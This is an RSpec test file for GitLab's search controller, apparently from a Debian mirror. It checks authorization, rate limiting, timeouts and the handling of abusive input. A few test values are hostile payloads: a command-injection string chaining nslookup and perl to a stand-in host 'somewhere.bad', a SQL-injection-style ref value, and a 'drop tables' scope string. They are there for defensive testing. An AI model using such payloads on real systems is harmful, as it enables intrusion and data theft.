debian-mirror-gitlab/spec/controllers/search_controller_spec.rb
2022-05-07 20:08:51 +05:30

482 lines
17 KiB
Ruby

# frozen_string_literal: true
require 'spec_helper'
RSpec.describe SearchController do
include ExternalAuthorizationServiceHelpers
context 'authorized user' do
let(:user) { create(:user) }
before do
sign_in(user)
end
shared_examples_for 'when the user cannot read cross project' do |action, params|
before do
allow(Ability).to receive(:allowed?).and_call_original
allow(Ability).to receive(:allowed?)
.with(user, :read_cross_project, :global) { false }
end
it 'blocks access without a project_id' do
get action, params: params
expect(response).to have_gitlab_http_status(:forbidden)
end
it 'allows access with a project_id' do
get action, params: params.merge(project_id: create(:project, :public).id)
expect(response).to have_gitlab_http_status(:ok)
end
end
shared_examples_for 'with external authorization service enabled' do |action, params|
let(:project) { create(:project, namespace: user.namespace) }
let(:note) { create(:note_on_issue, project: project) }
before do
enable_external_authorization_service_check
end
it 'renders a 403 when no project is given' do
get action, params: params
expect(response).to have_gitlab_http_status(:forbidden)
end
it 'renders a 200 when a project was set' do
get action, params: params.merge(project_id: project.id)
expect(response).to have_gitlab_http_status(:ok)
end
end
shared_examples_for 'support for active record query timeouts' do |action, params, method_to_stub, format|
before do
allow_next_instance_of(SearchService) do |service|
allow(service).to receive(method_to_stub).and_raise(ActiveRecord::QueryCanceled)
end
end
it 'renders a 408 when a timeout occurs' do
get action, params: params, format: format
expect(response).to have_gitlab_http_status(:request_timeout)
end
end
describe 'GET #show' do
it_behaves_like 'when the user cannot read cross project', :show, { search: 'hello' } do
it 'still allows accessing the search page' do
get :show
expect(response).to have_gitlab_http_status(:ok)
end
end
it_behaves_like 'with external authorization service enabled', :show, { search: 'hello' }
it_behaves_like 'support for active record query timeouts', :show, { search: 'hello' }, :search_objects, :html
context 'uses the right partials depending on scope' do
using RSpec::Parameterized::TableSyntax
render_views
let_it_be(:project) { create(:project, :public, :repository, :wiki_repo) }
before do
expect(::Gitlab::GitalyClient).to receive(:allow_ref_name_caching).and_call_original
end
subject { get(:show, params: { project_id: project.id, scope: scope, search: 'merge' }) }
where(:partial, :scope) do
'_blob' | :blobs
'_wiki_blob' | :wiki_blobs
'_commit' | :commits
end
with_them do
it do
project_wiki = create(:project_wiki, project: project, user: user)
create(:wiki_page, wiki: project_wiki, title: 'merge', content: 'merge')
expect(subject).to render_template("search/results/#{partial}")
end
end
end
context 'global search' do
using RSpec::Parameterized::TableSyntax
render_views
context 'when block_anonymous_global_searches is disabled' do
before do
stub_feature_flags(block_anonymous_global_searches: false)
end
it 'omits pipeline status from load' do
project = create(:project, :public)
expect(Gitlab::Cache::Ci::ProjectPipelineStatus).not_to receive(:load_in_batch_for_projects)
get :show, params: { scope: 'projects', search: project.name }
expect(assigns[:search_objects].first).to eq project
end
context 'check search term length' do
let(:search_queries) do
char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT
term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT
term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE
{
chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit],
chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1],
terms_under_limit: ('abc ' * (term_limit - 1)),
terms_over_limit: ('abc ' * (term_limit + 1)),
term_length_over_limit: ('a' * (term_char_limit + 1)),
term_length_under_limit: ('a' * (term_char_limit - 1))
}
end
where(:string_name, :expectation) do
:chars_under_limit | :not_to_set_flash
:chars_over_limit | :set_chars_flash
:terms_under_limit | :not_to_set_flash
:terms_over_limit | :set_terms_flash
:term_length_under_limit | :not_to_set_flash
:term_length_over_limit | :not_to_set_flash # abuse, so do nothing.
end
with_them do
it do
get :show, params: { scope: 'projects', search: search_queries[string_name] }
case expectation
when :not_to_set_flash
expect(controller).not_to set_flash[:alert]
when :set_chars_flash
expect(controller).to set_flash[:alert].to(/characters/)
when :set_terms_flash
expect(controller).to set_flash[:alert].to(/terms/)
end
end
end
end
end
context 'when block_anonymous_global_searches is enabled' do
context 'for unauthenticated user' do
before do
sign_out(user)
end
it 'redirects to login page' do
get :show, params: { scope: 'projects', search: '*' }
expect(response).to redirect_to new_user_session_path
end
it 'redirects to login page when trying to circumvent the restriction' do
get :show, params: { scope: 'projects', project_id: non_existing_record_id, search: '*' }
expect(response).to redirect_to new_user_session_path
end
end
context 'for authenticated user' do
it 'succeeds' do
get :show, params: { scope: 'projects', search: '*' }
expect(response).to have_gitlab_http_status(:ok)
end
end
context 'handling abusive search_terms' do
it 'succeeds but does NOT do anything' do
get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' }
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults
end
end
end
context 'tab feature flags' do
subject { get :show, params: { scope: scope, search: 'term' }, format: :html }
where(:feature_flag, :scope) do
:global_search_code_tab | 'blobs'
:global_search_issues_tab | 'issues'
:global_search_merge_requests_tab | 'merge_requests'
:global_search_wiki_tab | 'wiki_blobs'
:global_search_commits_tab | 'commits'
end
with_them do
it 'returns 200 if flag is enabled' do
stub_feature_flags(feature_flag => true)
subject
expect(response).to have_gitlab_http_status(:ok)
end
it 'redirects with alert if flag is disabled' do
stub_feature_flags(feature_flag => false)
subject
expect(response).to redirect_to search_path
expect(controller).to set_flash[:alert].to(/Global Search is disabled for this scope/)
end
end
end
end
it 'finds issue comments' do
project = create(:project, :public)
note = create(:note_on_issue, project: project)
get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
expect(assigns[:search_objects].first).to eq note
end
context 'unique users tracking' do
before do
allow(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event)
end
it_behaves_like 'tracking unique hll events' do
subject(:request) { get :show, params: { scope: 'projects', search: 'term' } }
let(:target_event) { 'i_search_total' }
let(:expected_value) { instance_of(String) }
end
end
context 'on restricted projects' do
context 'when signed out' do
before do
sign_out(user)
end
it "doesn't expose comments on issues" do
project = create(:project, :public, :issues_private)
note = create(:note_on_issue, project: project)
get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
expect(assigns[:search_objects].count).to eq(0)
end
end
it "doesn't expose comments on merge_requests" do
project = create(:project, :public, :merge_requests_private)
note = create(:note_on_merge_request, project: project)
get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
expect(assigns[:search_objects].count).to eq(0)
end
it "doesn't expose comments on snippets" do
project = create(:project, :public, :snippets_private)
note = create(:note_on_project_snippet, project: project)
get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
expect(assigns[:search_objects].count).to eq(0)
end
end
it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
let(:current_user) { user }
def request
get(:show, params: { search: 'foo@bar.com', scope: 'users' })
end
end
end
describe 'GET #count', :aggregate_failures do
it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' }
it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' }
it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json
it 'returns the result count for the given term and scope' do
create(:project, :public, name: 'hello world')
create(:project, :public, name: 'foo bar')
get :count, params: { search: 'hello', scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '1' })
end
it 'raises an error if search term is missing' do
expect do
get :count, params: { scope: 'projects' }
end.to raise_error(ActionController::ParameterMissing)
end
it 'raises an error if search scope is missing' do
expect do
get :count, params: { search: 'hello' }
end.to raise_error(ActionController::ParameterMissing)
end
it 'sets private cache control headers' do
get :count, params: { search: 'hello', scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(response.headers['Cache-Control']).to eq('max-age=60, private')
end
it 'does NOT blow up if search param is NOT a string' do
get :count, params: { search: ['hello'], scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '0' })
get :count, params: { search: { nested: 'hello' }, scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '0' })
end
it 'does NOT blow up if repository_ref contains abusive characters' do
get :count, params: {
search: 'hello',
repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)",
scope: 'projects'
}
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '0' })
end
it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
let(:current_user) { user }
def request
get(:count, params: { search: 'foo@bar.com', scope: 'users' })
end
end
end
describe 'GET #autocomplete' do
it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' }
it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' }
it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json
it 'returns an empty array when given abusive search term' do
get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to match_array([])
end
it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
let(:current_user) { user }
def request
get(:autocomplete, params: { term: 'foo@bar.com', scope: 'users' })
end
end
end
describe '#append_info_to_payload' do
it 'appends search metadata for logging' do
expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
method.call(payload)
expect(payload[:metadata]['meta.search.group_id']).to eq('123')
expect(payload[:metadata]['meta.search.project_id']).to eq('456')
expect(payload[:metadata]).not_to have_key('meta.search.search')
expect(payload[:metadata]['meta.search.scope']).to eq('issues')
expect(payload[:metadata]['meta.search.force_search_results']).to eq('true')
expect(payload[:metadata]['meta.search.filters.confidential']).to eq('true')
expect(payload[:metadata]['meta.search.filters.state']).to eq('true')
expect(payload[:metadata]['meta.search.project_ids']).to eq(%w(456 789))
expect(payload[:metadata]['meta.search.search_level']).to eq('multi-project')
end
get :show, params: { scope: 'issues', search: 'hello world', group_id: '123', project_id: '456', project_ids: %w(456 789), search_level: 'multi-project', confidential: true, state: true, force_search_results: true }
end
it 'appends the default scope in meta.search.scope' do
expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
method.call(payload)
expect(payload[:metadata]['meta.search.scope']).to eq('projects')
end
get :show, params: { search: 'hello world', group_id: '123', project_id: '456' }
end
end
context 'abusive searches', :aggregate_failures do
let(:project) { create(:project, :public, name: 'hello world') }
let(:make_abusive_request) do
get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id }
end
before do
enable_external_authorization_service_check
end
it 'returns EmptySearchResults' do
expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original
make_abusive_request
expect(response).to have_gitlab_http_status(:ok)
end
context 'when the feature flag is disabled' do
before do
stub_feature_flags(prevent_abusive_searches: false)
end
it 'returns a regular search result' do
expect(Gitlab::EmptySearchResults).not_to receive(:new)
make_abusive_request
expect(response).to have_gitlab_http_status(:ok)
end
end
end
end
context 'unauthorized user' do
describe 'search rate limits' do
using RSpec::Parameterized::TableSyntax
let(:project) { create(:project, :public) }
where(:endpoint, :params) do
:show | { search: 'hello', scope: 'projects' }
:count | { search: 'hello', scope: 'projects' }
:autocomplete | { term: 'hello', scope: 'projects' }
end
with_them do
it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit_unauthenticated do
def request
get endpoint, params: params.merge(project_id: project.id)
end
end
end
end
describe 'GET #opensearch' do
render_views
it 'renders xml' do
get :opensearch, format: :xml
doc = Nokogiri::XML.parse(response.body)
expect(response).to have_gitlab_http_status(:ok)
expect(doc.css('OpenSearchDescription ShortName').text).to eq('GitLab')
expect(doc.css('OpenSearchDescription *').map(&:name)).to eq(%w[ShortName Description InputEncoding Image Url SearchForm])
end
end
end
end